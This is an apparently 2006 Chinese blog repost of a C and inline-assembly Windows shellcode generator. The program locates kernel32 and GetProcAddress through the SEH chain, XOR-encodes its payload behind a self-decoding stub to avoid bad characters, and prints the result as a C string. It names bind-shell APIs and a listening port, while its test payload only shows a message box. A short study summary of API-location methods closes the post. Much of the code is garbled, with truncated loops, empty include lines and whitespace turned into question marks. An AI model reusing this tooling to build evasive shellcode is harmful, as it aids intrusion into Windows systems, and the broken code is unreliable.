分享
 
 
 

学习ShellCode(一)

王朝vc·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

前几天看了看x的shellcode,有很多东西部是很懂,今天找了找在安全焦点http://www.xfocus.net/找到一个高人写的,看了看思路,写得很不错,所以贴出来大家看看,以方便以后学习用阿!

?

这个是通用的shellcode,自己在vc++下编译一下!

/*

??????????? 使用C语言编写通用shellcode的程序

出处:internet

修改:Hume/冷雨飘心

测试:Win2K SP4 Local

*/

#include

#include

#include

#define? DEBUG 1

//

//函数原型

//

void???? DecryptSc();

void???? ShellCodes();

void???? PrintSc(char *lpBuff, int buffsize);

//

//用到的部分定义

//

#define? BEGINSTRLEN??? 0x08??? //开始字符串长度

#define? ENDSTRLEN????? 0x08??? //结束标记字符的长度

#define? nop_CODE?????? 0x90??? //填充字符

#define? nop_LEN??????? 0x0???? //ShellCode起始的填充长度

#define? BUFFSIZE?????? 0x20000 //输出缓冲区大小

#define? sc_PORT??????? 7788??? //绑定端口号 0x1e6c

#define? sc_BUFFSIZE??? 0x2000? //ShellCode缓冲区大小

#define? Enc_key??????? 0x7A??? //编码密钥

#define? MAX_Enc_Len??? 0x400?? //加密代码的最大长度 1024足够?

#define? MAX_Sc_Len???? 0x2000? //hellCode的最大长度 8192足够?

#define? MAX_api_strlen 0x400?? //APIstr字符串的长度

#define? API_endstr???? "strend"//API结尾标记字符串???

#define? API_endstrlen? 0x06??? //标记字符串长度

#define PROC_BEGIN __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90?????????????????? __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90

#define PROC_END PROC_BEGIN

//---------------------------------------------------

enum{?????? //Kernel32

??????????? _CreatePipe,

??????????? _CreateProcessA,

??????????? _CloseHandle,

??????????? _PeekNamedPipe,

??????????? _ReadFile,

??????????? _WriteFile,

??????????? _ExitProcess,

??????????? //WS2_32

??????????? _socket,

??????????? _bind,

??????????? _listen,

??????????? _accept,

??????????? _send,

??????????? _recv,

??????????? _ioctlsocket,

??????????? _closesocket,

??????????? //本机测试User32

??????????? _MessageBeep,

??????????? _MessageBoxA,

??????????? API_num

};

//

//代码这里开始

//

int __cdecl main(int argc, char **argv)

{

? //shellcode中要用到的字符串

? static char ApiStr[]="\x1e\x6c"?? //端口地址

??????????? //Kernel32的API函数名称

??????????? "CreatePipe""\x0"

??????????? "CreateProcessA""\x0"

??????????? "CloseHandle""\x0"

??????????? "PeekNamedPipe""\x0"

??????????? "ReadFile""\x0"

??????????? "WriteFile""\x0"

??????????? "ExitProcess""\x0"

??????????? //其它API中用到的API

??????????? "wsock32.dll""\x0"

??????????? "socket""\x0"

??????????? "bind""\x0"

??????????? "listen""\x0"

??????????? "accept""\x0"

??????????? "send""\x0"

??????????? "recv""\x0"

??????????? "ioctlsocket""\x0"

??????????? "closesocket""\x0"

??????????? //本机测试

??????????? "user32.dll""\x0"

??????????? "MessageBeep""\x0"

??????????? "MessageBoxA""\x0"

??????????? "\x0\x0\x0\x0\x0"

??????????? "strend";

? char? *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";? //标记开始的字符串

? char? *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";? //标记结束的字符串

? char? buff[BUFFSIZE];???????? //缓冲区

? char? sc_buff[sc_BUFFSIZE];?? //ShellCodes缓冲

? char? *pDcrypt_addr,

??????? *pSc_addr;

? int?? buff_len;?????????????? //缓冲长度

? int?? EncCode_len;??????????? //加密编码代码长度

? int?? Sc_len;???????????????? //原始ShellCode的长度

? int?????? i,k;

? unsigned? char ch;

? //

? //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串

? //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这

? //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理

? //

? pDcrypt_addr=(char *)DecryptSc;

? //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,

? //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

? ch=*pDcrypt_addr;

? if (ch==0xe9)

? {

????? pDcrypt_addr++;

????? i=*(int *)pDcrypt_addr;

????? pDcrypt_addr+=(i+4);????? //此时指向函数的实际地址

? }

? //找到解码代码的开始部分

? for(k=0;k

? if (k

? else

? {

????? //显示错误信息

????? k=0;

????? printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");

????? return 0;

? }

? for(k=0;k

? if (k

? else

? {

????? k=0;

????? printf("\nNo End str defined in Decrypt function!Please Check....\n");

????? return 0;

? }

? memset(buff,nop_CODE,BUFFSIZE);?????????????????????? //缓冲区填充

? memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);??????? //把DecryptSc代码复制进buff

? //

? //处理ShellCode代码,如果需要定位到代码的开始

? //

? pSc_addr=(char *)ShellCodes;???? //shellcode的地址

? //调试状态下的函数地址处理,便于调试

? ch=*pSc_addr;

? if (ch==0xe9)

? {

????? pSc_addr++;

????? i=*(int *)pSc_addr;

????? pSc_addr+=(i+4);????? //此时指向函数的实际地址

? }

? //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的

? /*

? for (k=0;k

? if (k

? */

? //找到shellcode的结尾及长度

? for(k=0;k

? if (k

? else

? {

????? k=0;

????? printf("\nNo End str defined in ShellCodes function!Please Check....\n");

????? return 0;

? }

? //把shellcode代码复制进sc_buff

? memcpy(sc_buff,pSc_addr,Sc_len);

? //把字符串拷贝在shellcode的结尾

? for(i=0;i

? if(i=MAX_api_strlen)

? {

????? printf("\nNo End str defined in API strings!Please Check....\n");

????? return 0;

? }

? memcpy(sc_buff+k,ApiStr,i);

? Sc_len+=i;??????? //增加shellcode的长度

? //

? //对shellcode进行编码算法简单,可根据需要改变

? //

? k=EncCode_len+nop_LEN;??? //定位缓冲区应存放ShellCode地址的开始

? for(i=0;i

???? ch=sc_buff[i]^Enc_key;

???? //对一些可能造成shellcode失效的字符进行替换

???? if(ch

???? {

??????? buff[k]='0';

??????? ++k;

??????? ch+=0x31;

???? }

???? //把编码过的shellcode放在DecryptSc代码后面

???? buff[k]=ch;

???? ++k;

? }

? //shellcode的总长度

? buff_len=k;

? //打印出shellcode

? PrintSc(buff,buff_len);

? //buff[buff_len]=0;

? //printf("%s",buff);

#ifdef DEBUG

? _asm{

????? lea eax,buff

????? jmp eax

????? ret

? }

#endif

??? return? 0;

}

//解码shellcode的代码

void? DecryptSc()

{

?????? __asm{

/////////////////////////

//定义开始标志

/////////////////////////

????????? PROC_BEGIN??? //C macro to begin proc

????????? jmp?? next

getEncCodeAddr:

????????? pop?? edi

????????? push? edi

????????? pop?? esi

????????? xor?? ecx,ecx

Decrypt_lop:

????????? lodsb

????????? cmp? al,cl

????????? jz?? shell

????????? cmp? al,0x30? //判断是否为特殊字符

????????? jz?? special_char_clean

store:?????

????????? xor? al,Enc_key

????????? stosb

????????? jmp? Decrypt_lop

special_char_clean:??

????????? lodsb

????????? sub al,0x31

????????? jmp store

next:????

????????? call? getEncCodeAddr

????????? //其余真正加密的shellcode代码会连接在此处

shell:???

/////////////////////////

//定义结束标志

/////////////////////////

????????? PROC_END????? //C macro to end proc

????????? }

}????????

//

//shellcode代码

//

void ShellCodes()

{

??? //API低址数组???

??? FARPROC???? API[API_num];

??? //自己获取的API地址

??? FARPROC???? GetProcAddr;

??? FARPROC??? LoadLib;

??? HANDLE????? hKrnl32;

??? HANDLE????? libhandle;

??? char??????? *ApiStr_addr,*p;

???

??? int???????? k;

??? u_short???? shellcodeport;

??? //测试用变量

??? char??????? *testAddr;

/*

??? STARTUPINFO siinfo;

??? SOCKET????? listenFD,clientFD;

??? struct????? sockaddr_in server;

??? int???????? iAddrSize = sizeof(server);

??? int???????? lBytesRead;

??? PROCESS_INFORMATION ProcessInformation;

??? HANDLE????? hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

??? SECURITY_ATTRIBUTES sa;

*/

_asm {

??????? jmp??? locate_addr0

getApiStr_addr:

??????? pop??? ApiStr_addr

??????? //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址

??????? //以后就可以方便地获取任何API的地址了

??????? //保护寄存器

??????? pushad

??? xor???? esi,esi

??????? lods??? dword ptr fs:[esi]

???????

Search_Krnl32_lop:

??????? inc???? eax

??????? je????? Krnl32_Base_Ok

??????? dec???? eax

??????? xchg??? esi,eax

??????? LODSD?

??????? jmp???? Search_Krnl32_lop

Krnl32_Base_Ok:

??????? LODSD??????????????????

??????????????????????????????? ;compare if PE_hdr

??????? xchg??? esi,eax

??? find_pe_header:

??????? dec???? esi

??????? xor???? si,si?????????? ;kernel32 is 64kb align

??????? mov???? eax,[esi]

??????? add???? ax,-'ZM'??????? ;??????

??????? jne???? find_pe_header

??????? mov???? edi,[esi+3ch]?? ;.e_lfanew???????

??????? mov???? eax,[esi+edi]

??????? add???? eax,-'EP'?????? ;anti heuristic change this if you are using MASM etc.????

??????? jne???? find_pe_header?

???????

??????? push???? esi

??????????????????????????????? ;esi=VA Kernel32.BASE

??????????????????????????????? ;edi=RVA K32.pehdr???????

??????? mov???? ebx,esi

??????? mov???? edi,[ebx+edi+78h]? ;peh.DataDirectory

???????

??????? push??? edi

??????? push??? esi

??????? mov???? eax,[ebx+edi+20h]? ;peexc.AddressOfNames????????????????

??????? mov???? edx,[ebx+edi+24h]? ;peexc.AddressOfNameOrdinals?????

??????? call??? __getProcAddr

??????? _emit 0x47

??????? _emit 0x65

??????? _emit 0x74

??????? _emit 0x50

??????? _emit 0x72

??????? _emit 0x6F

??????? _emit 0x63

??????? _emit 0x41

??????? _emit 0x64

??????? _emit 0x64

??????? _emit 0x72

??????? _emit 0x65

??????? _emit 0x73

??????? _emit 0x73

??????? _emit 0x0

??????? //db???? "GetProcAddress",0

__getProcAddr:

??????? pop???? edi

??????? mov???? ecx,15???????

??????? sub???? eax,4

next_:???????

??????? add???? eax,4

??????? add???? edi,ecx

??????? sub???? edi,15

??????? mov???? esi,[ebx+eax]

??????? add???? esi,ebx

??????? mov???? ecx,15

??????? repz??? cmpsb

??????? jnz???? next_

??????? pop???? esi

??????? pop???? edi

??????? sub???? eax,[ebx+edi+20h]????? ;peexc.AddressOfNames

??????? shr???? eax,1

??????? add???? edx,ebx

??????? movzx?? eax,word ptr [edx+eax]???????

??????? add???? esi,[ebx+edi+1ch]?????? ;peexc.AddressOfFunctions

??????? add???? ebx,[esi+eax*4]???????? ;ebx=Kernel32.GetProcAddress.addr

??????????????????????????????????????? ;use GetProcAddress and hModule to get other func

??????? pop???? esi???????????????????? ;esi=kernel32 Base

??????? mov???? [hKrnl32],esi?????????? //保存

??????? mov???? [GetProcAddr],ebx?????? //保存

??????? call??? _getLoadLib

??????? _emit 0x4C

??????? _emit 0x6F

??????? _emit 0x61

??????? _emit 0x64

??????? _emit 0x4C

??????? _emit 0x69

??????? _emit 0x62

??????? _emit 0x72

??????? _emit 0x61

??????? _emit 0x72

??????? _emit 0x79

??????? _emit 0x41

??????? _emit 0x0

??????? //db????? "LoadLibraryA",0

???????

_getLoadLib:

??????? push??? esi

??????? call??? ebx

??????? mov???? [LoadLib],eax

??????? //恢复寄存器,避免更多问题

??????? popad

??? }

?? //取出定义的端口地址

?? shellcodeport=*(u_short *)ApiStr_addr;

?? ApiStr_addr+=2;

??

?? ////////////////////////////////测试用

??? testAddr=ApiStr_addr;

?? ////////////////////////////////////

?? //利用GetProcAddress来获得shellcode中所用到的API地址

?? libhandle=hKrnl32;

?? p=ApiStr_addr;

?? k=0;

?? ///*

?? while ( *((unsigned int *)p) != 0)

?? {

?????? ApiStr_addr=p;

?????? while(*p) p++;?? //前进到下一个字符串

?????? if (*( (unsigned int *)(p-4))=='lld.')

?????? {

?????????? libhandle=(HANDLE)LoadLib(ApiStr_addr);? //若为DLL则加载DLL

?????? }

?????? else

?????? {

?????????? API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);

?????????? k++;

?????? }

??????

?????? ApiStr_addr=++p; //更新指针前进一个字符位置

??????

?? }

??

?? //*/

///////////////////////////////////////////////////////////////////////////

//???????? 下面就可以使用C语言来编写真正实现功能的shellcode了??????????????? //

///////////////////////////////////////////////////////////////////////////

//

//简单测试几个API看是否复合要求

//

API[_MessageBeep](0x10);

API[_MessageBoxA](0,testAddr,0,0x40);

API[_ExitProcess](0);

///////////////////////////////////////////////////////////////////////////

//?????????????????????????? shellcode功能部分结束?????????????????????? //

///////////////////////////////////////////////////////////////////////////

//死循环

die:??

??? goto die;

__asm

??? {

locate_addr0:?

?????????? call getApiStr_addr????? //5 bytes

//真正的字符串数据要连接在此处

???

?

/////////////////////////

//定义结束标志

/////////////////////////

????????? PROC_END????? //C macro to end proc

??????

???? }

}

//

//显示打印生成的shellcode的C string格式代码

//

void PrintSc(char *lpBuff, int buffsize)

{

??? int i,j;

??? char *p;

??? char msg[4];

??? for(i=0;i

??? {

??????? if((i%16)==0)

??????????? if(i!=0)

??????????????? printf("\"\n\"");

??????????? else

??????????????? printf("\"");

??????? sprintf(msg,"\x%.2X",lpBuff[i]&0xff);

??????? for( p = msg, j=0; j

??????? {

??????????? if(isupper(*p))

??????????????? printf("%c", _tolower(*p));

??????????? else

??????????????? printf("%c", p[0]);

??????? }

??? }

??? printf("\";\n/*Shell total are %d bytes */\n",buffsize);

}

总结一下:

寻找kernel和api函数地址的定位

1.基本的:暴力获取地址空间;

2.从peb相关数据获取(参考:绿盟月刊44期scz的《通过teb/peb枚举当前进程空间中用户模块列表》)

3.搜索进程的seh链表获取kernel32.UnheadleExceptionFilter地址;

虽然这些对于我来说还是模棱两可的,但是俗话说:“温故而知新”,要经常温故阿!经常学习!

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有